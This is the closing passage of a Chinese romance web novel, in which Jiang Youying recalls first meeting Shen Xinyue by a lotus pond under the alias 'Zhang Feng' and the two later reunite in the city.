她提着水桶沿着铁轨来来回回,收集李致远的碎尸块,然后送火化,选墓地,找和尚超度。 那时已经是夏天,养了几个月,小孩身体慢慢好起来,她跟着陈阿婆住在市里,某天下午刚给孩子换了尿布,忽然接到电话,说有小孩报警,铁轨边捡到一只手,可能是李致远的,问她要不要认领。 陈阿婆只当没听见,抱着孩子下楼,小区里闲逛。 她跟在后头,问要怎么处理,陈阿婆说随你的便,“都是死东西了,还问我干什么。” 死东西就不要了,爱死不死,重要的是还活着的,肯活着的。 老太太蹲在婴儿车边,跟小孩说话,“我们星星最厉害,最坚强,最优秀,医生都夸你命大呢,咱可要好好活。” 李致远对她始终有恩,江有盈不忍让他曝尸荒野,去认领了残尸,又拎着小桶沿铁轨仔细搜寻。 那时候就有很多人家种荷花了,江有盈第一次见沈新月就是在荷塘边。 那时候江有盈不知道她就是隔壁于阿婆的外孙女。 她穿蓝白拼校服,上高中的年纪,书包垫在屁股底下坐,嫌太阳晒,校服外套脱下来顶着脑袋。 江有盈没上过高中,市里和镇上遇见的高中生,她都会忍不住多看两眼。 虽然在少管所的时候也学习,但那些课程对她来说太基础。她们在里面学习,是不分年龄段的,主要是个氛围,但无一例外都要考试,考得好是可以减刑的。 江有盈提着水桶找了很久,没再找到新的碎骨头,荷塘边阴影处蹲着。 看背影看得出是个女孩,头顶衣服下面露出一小截马尾,里头嘁哩喀喳的,可能在用手机玩游戏。 谁家小孩啊,江有盈蹲在那想,那时候她也很年轻,大学生的样子,看着憨憨的。 本地人还是外地人,本地的吧?还是学生呢,八成是来找家长的,刚高考完嘛。 考得咋样呢?估计不太好,所以自己偷偷跑到乡下投奔亲戚。 不知道为什么,江有盈特别想走上去跟她说两句。 说点什么呢?江有盈挠头,想不到。 就这么等啊等,等啊等…… “哎呦”一声,那女孩倒下去,直直倒在路边草坪上,校服外套依旧盖着脸。 李致远的手从派出所领回来,一直用帕子包着,装在随身的挎包里,江有盈想了想,拿出来放水桶,掰了张荷叶盖着。 江有盈朝着那女孩走过去,蹲到她身边,掀开她的校服外套,掀盖头似的,把脑袋伸进去看。 “你谁啊!”沈新月吓了一跳,见是个姑娘,又没那么害怕,掀开衣服坐起来。 江有盈礼貌退后半步,“你又是谁啊,干嘛在这里睡觉。” 她长得白白净净,脸圆圆有点婴儿肥,身上香的,头发干净,皮肤非常好,柔软细腻几乎看不到毛孔。 给人的感觉是家里很有钱,不止外貌,是她的胆量和气质,她大大方方的,人问就答,“我等我外婆来接我。” “你外婆去哪里了?”江有盈继续问。 “镇上赶集。”沈新月说。 “那你迷路了吗?干嘛不回家等。”江有盈又问。 沈新月摇头,“我想早点见到她。” 这是她们的初遇,只有江有盈自己记得,那天她没陪她等到外婆回来,但她知道了她是谁家小孩。 “你也放假啦?你读大几,在哪个城市。” 沈新月自来熟,手机没电了,干脆跟她闲聊。 江有盈笑着摇头,不知怎么答。 “切,有什么了不起。”沈新月抱着校服外套,“我马上也是大学生。” 她昨天高考,别人全家都出动了,她孤零零没人等。 沈硕在片场,外婆在老家,爸爸早就有了新小孩,她跟同学聚餐,吃完饭唱歌,凌晨一点才接到沈硕电话,问她考得怎么样。 “考得不好,我要进娱乐圈。”她赌气。 沈硕说行,“高中学历也够了。” 挂了电话,沈新月回去倒床上睡一觉,起来衣服都懒得换,书包里胡乱塞上几件,买票回老家。 “我去家里找过了,没人,村口也没人,外婆八成在镇上赶集,我就在这儿等。” 江有盈点点头,草地上摘了把车轴草花,回到她身边,盘膝坐在那,给她编了个花冠。 “送给你。” “干嘛?”沈新月手接过来放脑袋上,“你喜欢我啊,你多大了。” 江有盈笑着摇头。 沈新月觉得她没意思,主动上前打招呼,又什么都不说,“你真的很没意思。” 江有盈下巴枕在膝盖“嗯”了声。 “好看吗?”沈新月把手机拿出来,对着黑屏左右看。 江有盈抬头,郑重说“好看”。 “当然,我级花来的。”沈新月毫不自谦。 “啥是几花?”江有盈不懂。 外头的世界变化太快了,以前打工的那个菜市场,扒平盖了好高的楼,钱老板的活鸡店怎么都找不到。 沈新月纠正,“不是几花,是级花!” “有校花,班花,我是级花,知道吗?虽然不是校花,但同时是班花和级花,这么解释能听懂了不。” 啊!好厉害。 江有盈开始认真端详。 沈新月坐直,眼睛睁圆圆看她,“怎么样。” 脸红了,江有盈低头抠着自己帆布鞋的鞋面,“那,那校花得多漂亮呀。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【全文完结】 第82章 沈新月觉得自己跟校花之间差距不大。 “重要在辨识度。”她说。 “辨识度是个很玄乎的东西,不需要那么漂亮,重点在能让人过目不忘。” 沈硕分析过,说她好看是好看的,只稍欠缺一点辨识度,要进娱乐圈的话,得专门制定个方案包装,多刷刷存在感,再制造话题讨论,让观众加深记忆。 沈新月说的这些江有盈一句听不懂,但还是努力参与进去,“你想做明星吗?” “我不想做。”沈新月对着手机扶正头顶花冠,“但我小时候确实演过戏,不重要的小配角,在片场帮忙救急。” 江有盈好奇问,沈新月说了两部片名,她心中默默记下,打算回去搜。 天热,沈新月掀起一片衣角对着脸扇,江有盈回头看了眼荷塘,“我去给你摘片叶子遮阴凉吧。” 脸蛋红扑扑的,额际一圈细汗打湿头发,沈新月点头,朝她笑,“你这么好呢。” “小事一桩。”江有盈立即动身。 这家荷花养得好,长一人多高,叶子比脸盆还大,江有盈岸边挑了片结实的大叶子摘下来给她扣脑袋上。 好好玩,沈新月笑容喜悦,“你呢?” 江有盈摇头,回去把水桶拿远些,担心吓着她。 “干嘛总是摇头,看起来很多秘密。”沈新月那时候就很敏锐了,等她回到身边重新盘腿坐着,认真看了看她的脸,“你长得挺有辨识度的。” “倔强的清冷文艺片女主,从小到大都过得很苦,一肚子烦心事,不爱说话,干活很卖力但天天被人欺负。”沈新月自己在那安排剧情。 小江师傅惊叹她敏锐的洞察力,嘴巴闭得紧紧,更是一个字不敢多说,生怕她分析出更多。 可到底啥是辨识度? “就是特征,气质。” 沈新月总结为好记,“下次遇见,还能认得出来。” 小江师傅心里偷乐,那等她们长大些再相遇吧,等到她心里觉得自己足够好,足够勇敢和有钱的时候。 “你笑起来更有味道了。”沈新月撅着屁股趴在她面前,“那种遇到心上人的笑,害羞的笑。” “哎呀你——”小江师傅直往后躲。 太近了,脸贴着脸,嘴一噘就能亲一块,真让人难为情。 “不好意思。”沈新月倒退爬走,“我是比较喜欢女孩子。”她说我也不想的,但这是遗传,要怪就怪沈硕。 “以前不懂,高中学《遗传与进化》,我怀疑是根儿上出了问题,秀兰同志的嫌疑也很大!” 小江师傅听得认真,鞋带都抠出毛边,心里乱七八糟想,她家根儿上可能也出问题了。 不然,不然她干嘛老盯着人家小姑娘看,心砰砰乱跳。 “你在这儿做什么呢,种荷花吗?”沈新月问道。 “我散步。”小江师傅手握拳抵腮,发觉自己很烫。 “我还以为你是种荷花的。”沈新月说。 小江师傅抬头,眼睛水汪汪,“你喜欢荷花吗?” “喜欢啊,我们这儿很多人种荷花,夏天卖花,秋天卖莲子,还有种菜藕的,菜藕不怎么开花,就是结藕,成熟挖出藕卖……” 话说一半,沈新月想到什么,“对了,你不是本地人吧,听口音不像。” 小江师傅摇头,“我是外地嫁,跟家人一起来的。” 她险些说漏嘴,小心偷瞄,幸好,沈新月没听出不对,还邀请她上家玩。 那不就全暴露了?小江师傅摇头,“我有事情要做。” 沈新月热情过了头,“什么事情我帮你,小时候我去朋友家找她们玩,为帮她们脱身又洗碗又拖地。” 她人真好,小江师傅却是不敢让她帮忙的。 “可我要去镇上。” 沈新月遗憾,双臂交握垫在膝头,下*巴杵在手背,嘟着嘴巴看她。 “下次见面你还能认出我吗?”小江师傅被她看得毛毛的,身体紧绷,不敢有大动作。 沈新月点头,“当然,你是倔强清冷文艺片女主嘛,我妈做梦都想成为的,但她拍出来观众都说她是泼妇,哈哈。你知道,一般文艺片女主比较偏激,情绪化,如果气质不够贴近角色,就像小孩子满地打滚。” 后面一大串不太听得懂,小江师傅只记住前面两个字——当然。 真的还能认出来吗?真的吗? 并没有。 她胡说八道。 后来,沈新月开学离开秀坪,江有盈抽空回去一趟,那么巧,秀兰阿婆想她,正坐在院里翻相册。 “我外孙女,家里的金疙瘩,娇嘟嘟,看这里头全是她从小到大的照片,上大学了,前阵子刚走。” 外婆说起来还挺遗憾的,“你早来一个星期你们就能见面了!她好玩着呢。” 小江师傅把相册接过去,从娇嘟嘟满月照那页开始翻,有她小时候在农村的,也有上学以后在城市的,明显感觉她在农村时快乐更多,笑容更大。 那时候小江师傅就在想,娇嘟嘟可以回到秀坪就好了,她们做一对永远无忧无虑的小朋友。 她承认自己想法卑劣,内心极度不自信,认为自己配不上人家,竟妄想把那高不可攀的明月拖拽进泥潭。 再后来呢? 念念不忘,必有回响,大概是诅咒生效,娇嘟嘟大小姐从天而降,跌得满身稀泥,她们重逢,在乡道。 大江师傅一眼认出她,内心之震撼难以用语言形容,电三轮停在乡道边,给了她十秒钟相认,她却完全是对待陌生人的态度。 她早把她忘了。 大江师傅很生气,却不能丢她不管,只好请她移步后车斗。 被整也活该,说什么辨识度,又说什么文艺片女主,鬼话连篇,满肚子花花肠,专骗女人。 “到了。”周醒路边停车,回头提醒。 回忆中抽离,江有盈摘下耳机,挺身看向窗外。 沧海桑田,时移事改,江边小旅馆早扒了盖新,层层高楼林立,崭新而陌生。江有盈也在江城生活过几年,只是沉疴难愈,期间一直没敢再回江边。 天气缘故,还是一切都变了?她也变了,完全没有想象中的悚然,她下车站到路边,夏风暖燥,恶湿褪尽。 “慢走不送了。”沈新月挥手再见,“有空再来玩。” “嘟嘟拜拜,江师傅拜拜。”周醒飞吻。 江有盈笑,觉得肉麻,心里又痒痒的,不愿让人失望,细声挤出个“拜”。 这半年来,她完全改变了过去的生活和交流方式,受到沈新月影响,整个人都变得柔软了。 虽然偶尔还是会阴阳怪气,用拳头和菜刀吓唬人,摆出副烂命一条的样子。 沈新月去牵她手,“怎么样,跟记忆中大不同了吧,这地方我小时候也常来,棚户区有家卖炸货的,我好喜欢她家的脆皮鸡腿,不知你吃过没有。” 江有盈摇头,“我那时什么也吃不下。” 沈新月晃晃她手,说没事,“我现在带你去找,还开着呢,她们家房子拆迁赔了一千多万,但初心不改,还是继续卖炸货。” “啊?”江有盈咂舌,皱鼻酸溜溜,“那真的很爱了。” 沈新月大笑。 江有盈一路好奇东张西望,不一样了,完全不一样,码头改换位置,棚户区翻盖成居民楼,江面还新修了一座大桥。 行道树遮挡烈日,她们牵手在路上走,大江师傅到底不甘心,含糊提及十几年前她们荷塘边那场初遇。 沈新月闻言一头雾水,树下呆立,蹙眉严肃思索状,江有盈默然等待,半晌,沈新月一拍脑门,“难道你就是张凤?” 张凤,是小江师傅当时给自己起的化名。 远远,见乡村公交路尽头驶来,江有盈起身提起水桶道别,沈新月追上去,询问她的名字,她张口默了几秒,回答说“张凤”。 真实的张凤以前住小江师傅隔壁床,有异食癖,喜欢吃牙膏,吃完自己的偷室友的,经常被举报,但屡教不改。 有段时间,小江师傅喜欢抠墙皮吃,同样被室友举报,同样屡教不改。 不过当时室友举报理由为“越狱”。那段时间,她们刚组织看过电影,影片是《肖申克的救赎》。 被举报人小江师傅只觉好笑,室友什么奇葩脑回路啊,赶紧安排体检吧,看看是不是关久精神出问题。 总之,小江师傅不肯暴露真实姓名,脑栓先是一阻,又一通,说“我叫张凤”。 沈新月没忘,她一直记得,记得牢牢的,路边等到外婆,说遇到个姐姐,给她编花冠采荷叶,陪她等人,聊天,长得又好看。 整个暑假,沈新月积极找寻张凤姐下落,外婆帮忙,同村找到两个,但都不是她心里闭月羞花的那一个。 她一直没忘,是时间的魔法,是记忆出现偏差,“张凤”这个简单朴实的名字,改变了她的想象。 记忆中那个高瘦腼腆的荷叶姐姐,变成淳朴的黑皮双辫村花。 找不到“张凤姐”,沈新月还因此伤心好久,直到“大胖小子姐”闯入她生活。 “张凤?你真是张凤?”沈新月难以置信。 她们竟然那么早就遇见,她却一点没认出来。 所以,她们重逢那天,那句“不要喜欢上我”不是平白无故的。 “我是张凤。”大江师傅想发脾气来着,又怪舍不得。 她们错过太久。 “所以你一开始就认出我了?”沈新月可算明白这人为什么故意拿可乐喷她了。 “你不告诉我,还故意整我,不止一次地整我,太恶劣了吧!你知不知道我为找你几乎把秀坪翻个底朝天!” 什么土味霸总台词,江有盈笑,一路小跑,转身,任风吹乱头发,相信了沈新月说的,好的记忆会覆盖坏的记忆。 “那我不生你气了!” “你还敢生我气。”沈新月飞起一脚,踹空,“恶毒小寡妇——” ——全文完——魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&